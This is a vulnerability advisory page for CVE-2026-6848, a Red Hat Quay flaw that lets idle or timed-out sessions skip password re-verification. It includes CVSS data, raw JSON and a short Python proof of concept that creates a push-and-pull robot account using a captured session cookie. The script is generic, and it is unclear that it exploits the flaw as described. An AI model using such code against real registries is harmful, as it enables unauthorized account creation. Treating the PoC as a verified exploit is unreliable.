Security Vulnerability Report
中文
CVE-2026-6848 CVSS 5.4 MEDIUM

CVE-2026-6848

Published: 2026-04-22 10:16:52
Last Modified: 2026-05-20 13:38:25

Description

A flaw was found in Red Hat Quay. When Red Hat Quay requests password re-verification for sensitive operations, such as token generation or robot account creation, the re-authentication prompt can be bypassed. This allows a user with a timed-out session, or an attacker with access to an idle authenticated browser session, to perform privileged actions without providing valid credentials. The vulnerability enables unauthorized execution of sensitive operations despite the user interface displaying an error for invalid credentials.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:redhat:quay:3.0.0:*:*:*:*:*:*:* - VULNERABLE
Red Hat Quay (具体版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for creating a robot account in Red Hat Quay # Replace with actual target URL target_url = "https://quay.example.com/api/v1/repository/{org}/{repo}/robots" # Session cookie obtained from an idle or timed-out authenticated session attacker_session_cookie = { "session": "captured_session_cookie_value_here" } # Payload for the robot account creation # Exploit Logic: Bypassing the re-authentication password requirement robot_payload = { "description": "Exploit Robot Account", "access": { "pull": True, "push": True } } def exploit_cve_2026_6848(): print("[*] Attempting to bypass re-authentication for CVE-2026-6848...") # Directly sending the request without the re-auth password response = requests.post(target_url, json=robot_payload, cookies=attacker_session_cookie, verify=False) if response.status_code == 201 or response.status_code == 200: print("[+] Exploit successful! Robot account created without password re-verification.") print("[+] Response data:", response.json()) else: print("[-] Exploit failed or endpoint is patched.") print("[-] Status Code:", response.status_code) print("[-] Response:", response.text) if __name__ == "__main__": exploit_cve_2026_6848()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6848", "sourceIdentifier": "[email protected]", "published": "2026-04-22T10:16:52.347", "lastModified": "2026-05-20T13:38:24.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Red Hat Quay. When Red Hat Quay requests password re-verification for sensitive operations, such as token generation or robot account creation, the re-authentication prompt can be bypassed. This allows a user with a timed-out session, or an attacker with access to an idle authenticated browser session, to perform privileged actions without providing valid credentials. The vulnerability enables unauthorized execution of sensitive operations despite the user interface displaying an error for invalid credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:quay:3.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "B1987BDA-0113-4603-B9BE-76647EB043F2"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6848", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460119", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}